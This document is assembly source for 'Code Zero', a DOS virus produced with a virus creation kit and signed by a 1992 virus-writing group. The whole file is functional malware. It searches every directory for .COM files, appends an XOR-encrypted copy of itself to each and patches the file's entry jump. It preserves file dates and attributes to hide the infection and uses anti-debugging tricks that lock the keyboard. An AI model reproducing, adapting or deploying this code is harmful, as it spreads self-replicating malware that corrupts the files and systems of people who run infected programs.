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; CODEZERO.ASM -- Code Zero Virus
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; Created with Nowhere Man's Virus Creation Laboratory v1.00
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; Written by Nowhere Man
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virus_type equ 0 ; Appending Virus
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is_encrypted equ 1 ; We're encrypted
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tsr_virus equ 0 ; We're not TSR
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code segment byte public
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assume cs:code,ds:code,es:code,ss:code
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org 0100h
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main proc near
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db 0E9h,00h,00h ; Near jump (for compatibility)
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start: call find_offset ; Like a PUSH IP
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find_offset: pop bp ; BP holds old IP
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sub bp,offset find_offset ; Adjust for length of host
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call encrypt_decrypt ; Decrypt the virus
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start_of_code label near
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lea si,[bp + buffer] ; SI points to original start
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mov di,0100h ; Push 0100h on to stack for
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push di ; return to main program
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movsw ; Copy the first two bytes
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movsb ; Copy the third byte
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mov di,bp ; DI points to start of virus
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mov bp,sp ; BP points to stack
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sub sp,128 ; Allocate 128 bytes on stack
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address on stack
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer on stack
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int 021h
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stop_tracing: mov cx,09EBh
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mov ax,0FE05h ; Acutal move, plus a HaLT
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jmp $-2
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add ah,03Bh ; AH now equals 025h
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jmp $-10 ; Execute the HaLT
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lea bx,[di + null_vector] ; BX points to new routine
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push cs ; Transfer CS into ES
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pop es ; using a PUSH/POP
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int 021h
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mov al,1 ; Disable interrupt 1, too
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int 021h
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jmp short skip_null ; Hop over the loop
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null_vector: jmp $ ; An infinite loop
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skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged
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lock_keys: mov al,128 ; Change here screws DEBUG
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out 021h,al ; If tracing then lock keyboard
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call search_files ; Find and infect a file
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call infected_all
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or ax,ax ; Did the function return zero?
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jne skip00 ; If not equal, skip effect
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jmp short strt00 ; Success -- skip jump
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skip00: jmp end00 ; Skip the routine
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strt00: lea si,[di + data00] ; SI points to data
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mov ah,0Eh ; BIOS display char. function
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display_loop: lodsb ; Load the next char. into AL
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or al,al ; Is the character a null?
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je disp_strnend ; If it is, exit
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int 010h ; BIOS video interrupt
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jmp short display_loop ; Do the next character
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disp_strnend:
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end00:
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com_end: pop dx ; DX holds original DTA address
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mov ah,01Ah ; DOS set DTA function
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int 021h
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mov sp,bp ; Deallocate local buffer
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xor ax,ax ;
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mov bx,ax ;
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mov cx,ax ;
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mov dx,ax ; Empty out the registers
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mov si,ax ;
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mov di,ax ;
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mov bp,ax ;
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ret ; Return to original program
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main endp
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db 064h,06Dh,056h,0D5h,05Dh
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search_files proc near
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push bp ; Save BP
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mov bp,sp ; BP points to local buffer
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sub sp,64 ; Allocate 64 bytes on stack
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mov ah,047h ; DOS get current dir function
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xor dl,dl ; DL holds drive # (current)
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lea si,[bp - 64] ; SI points to 64-byte buffer
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int 021h
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mov ah,03Bh ; DOS change directory function
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lea dx,[di + root] ; DX points to root directory
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int 021h
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call traverse ; Start the traversal
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mov ah,03Bh ; DOS change directory function
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lea dx,[bp - 64] ; DX points to old directory
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int 021h
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mov sp,bp ; Restore old stack pointer
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pop bp ; Restore BP
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ret ; Return to caller
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root db "\",0 ; Root directory
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search_files endp
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traverse proc near
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push bp ; Save BP
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address
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mov bp,sp ; BP points to local buffer
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sub sp,128 ; Allocate 128 bytes on stack
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer
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int 021h
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mov ah,04Eh ; DOS find first function
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mov cx,00010000b ; CX holds search attributes
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lea dx,[di + all_files] ; DX points to "*.*"
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int 021h
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jc leave_traverse ; Leave if no files present
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check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
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jne another_dir ; If not, try again
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cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
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je another_dir ;If so, keep going
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mov ah,03Bh ; DOS change directory function
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lea dx,[bp - 98] ; DX points to new directory
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int 021h
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call traverse ; Recursively call ourself
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pushf ; Save the flags
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mov ah,03Bh ; DOS change directory function
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lea dx,[di + up_dir] ; DX points to parent directory
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int 021h
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popf ; Restore the flags
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jnc done_searching ; If we infected then exit
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another_dir: mov ah,04Fh ; DOS find next function
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int 021h
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jnc check_dir ; If found check the file
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leave_traverse:
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lea dx,[di + com_mask] ; DX points to "*.COM"
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call find_files ; Try to infect a file
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done_searching: mov sp,bp ; Restore old stack frame
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mov ah,01Ah ; DOS set DTA function
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pop dx ; Retrieve old DTA address
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int 021h
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pop bp ; Restore BP
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ret ; Return to caller
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up_dir db "..",0 ; Parent directory name
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all_files db "*.*",0 ; Directories to search for
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com_mask db "*.COM",0 ; Mask for all .COM files
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traverse endp
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db 0D9h,013h,047h,056h,001h
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find_files proc near
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push bp ; Save BP
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address
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mov bp,sp ; BP points to local buffer
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sub sp,128 ; Allocate 128 bytes on stack
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push dx ; Save file mask
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer
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int 021h
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mov ah,04Eh ; DOS find first file function
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mov cx,00100111b ; CX holds all file attributes
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pop dx ; Restore file mask
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find_a_file: int 021h
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jc done_finding ; Exit if no files found
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call infect_file ; Infect the file!
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jnc done_finding ; Exit if no error
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mov ah,04Fh ; DOS find next file function
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jmp short find_a_file ; Try finding another file
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done_finding: mov sp,bp ; Restore old stack frame
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mov ah,01Ah ; DOS set DTA function
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pop dx ; Retrieve old DTA address
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int 021h
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pop bp ; Restore BP
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ret ; Return to caller
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find_files endp
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db 005h,083h,072h,0C1h,006h
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infect_file proc near
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mov ah,02Fh ; DOS get DTA address function
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int 021h
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mov si,bx ; SI points to the DTA
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mov byte ptr [di + set_carry],0 ; Assume we'll fail
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cmp word ptr [si + 01Ah],(65279 - (finish - start))
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jbe size_ok ; If it's small enough continue
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jmp infection_done ; Otherwise exit
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size_ok: mov ax,03D00h ; DOS open file function, r/o
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lea dx,[si + 01Eh] ; DX points to file name
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int 021h
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xchg bx,ax ; BX holds file handle
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mov ah,03Fh ; DOS read from file function
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mov cx,3 ; CX holds bytes to read (3)
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lea dx,[di + buffer] ; DX points to buffer
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int 021h
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mov ax,04202h ; DOS file seek function, EOF
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cwd ; Zero DX _ Zero bytes from end
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mov cx,dx ; Zero CX /
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int 021h
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xchg dx,ax ; Faster than a PUSH AX
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mov ah,03Eh ; DOS close file function
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int 021h
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xchg dx,ax ; Faster than a POP AX
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sub ax,finish - start + 3 ; Adjust AX for a valid jump
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cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
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je infection_done ; If equal then exit
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mov byte ptr [di + set_carry],1 ; Success -- the file is OK
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add ax,finish - start ; Re-adjust to make the jump
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mov word ptr [di + new_jump + 1],ax ; Construct jump
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mov ax,04301h ; DOS set file attrib. function
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xor cx,cx ; Clear all attributes
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lea dx,[si + 01Eh] ; DX points to victim's name
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int 021h
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mov ax,03D02h ; DOS open file function, r/w
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int 021h
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xchg bx,ax ; BX holds file handle
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mov ah,040h ; DOS write to file function
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mov cx,3 ; CX holds bytes to write (3)
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lea dx,[di + new_jump] ; DX points to the jump we made
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int 021h
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mov ax,04202h ; DOS file seek function, EOF
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cwd ; Zero DX _ Zero bytes from end
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mov cx,dx ; Zero CX /
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int 021h
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push si ; Save SI through call
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call encrypt_code ; Write an encrypted copy
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pop si ; Restore SI
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mov ax,05701h ; DOS set file time function
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mov cx,[si + 016h] ; CX holds old file time
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mov dx,[si + 018h] ; DX holds old file date
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int 021h
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mov ah,03Eh ; DOS close file function
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int 021h
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mov ax,04301h ; DOS set file attrib. function
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xor ch,ch ; Clear CH for file attribute
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mov cl,[si + 015h] ; CX holds file's old attributes
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lea dx,[si + 01Eh] ; DX points to victim's name
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int 021h
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infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
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ret ; Return to caller
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set_carry db ? ; Set-carry-on-exit flag
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buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
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new_jump db 0E9h,?,? ; New jump to virus
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infect_file endp
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db 06Ah,025h,0C8h,0A7h,094h
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infected_all proc near
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if virus_type eq 0
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mov al,byte ptr [di + set_carry]
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else
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mov al,byte ptr [set_carry] ; AX holds success value
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endif
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cbw ; Sign-extend AL into AX
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ret ; Return to caller
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infected_all endp
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data00 db 7,7,7,"** CODE ZERO **",13,10,0
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vcl_marker db "[VCL]",0 ; VCL creation marker
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note db "[Code Zero]",0
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db "Nowhere Man, [NuKE] '92",0
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encrypt_code proc near
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push bp ; Save BP
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mov bp,di ; Use BP as pointer to code
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lea si,[bp + encrypt_decrypt]; SI points to cipher routine
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xor ah,ah ; BIOS get time function
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int 01Ah
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mov word ptr [si + 9],dx ; Low word of timer is new key
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xor byte ptr [si + 1],8 ;
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xor byte ptr [si + 8],1 ; Change all SIs to DIs
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xor word ptr [si + 11],0101h; (and vice-versa)
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lea di,[bp + finish] ; Copy routine into heap
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mov cx,finish - encrypt_decrypt - 1 ; All but final RET
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push si ; Save SI for later
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push cx ; Save CX for later
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rep movsb ; Copy the bytes
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lea si,[bp + write_stuff] ; SI points to write stuff
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mov cx,5 ; CX holds length of write
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rep movsb ; Copy the bytes
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pop cx ; Restore CX
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pop si ; Restore SI
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inc cx ; Copy the RET also this time
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rep movsb ; Copy the routine again
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mov ah,040h ; DOS write to file function
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lea dx,[bp + start] ; DX points to virus
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lea si,[bp + finish] ; SI points to routine
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call si ; Encrypt/write/decrypt
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mov di,bp ; DI points to virus again
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pop bp ; Restore BP
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ret ; Return to caller
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write_stuff: mov cx,finish - start ; Length of code
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int 021h
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encrypt_code endp
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end_of_code label near
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encrypt_decrypt proc near
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lea si,[bp + start_of_code] ; SI points to code to decrypt
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mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
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xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
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inc si ; Do the next word
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inc si ;
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loop xor_loop ; Loop until we're through
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ret ; Return to caller
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encrypt_decrypt endp
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finish label near
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code ends
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end main
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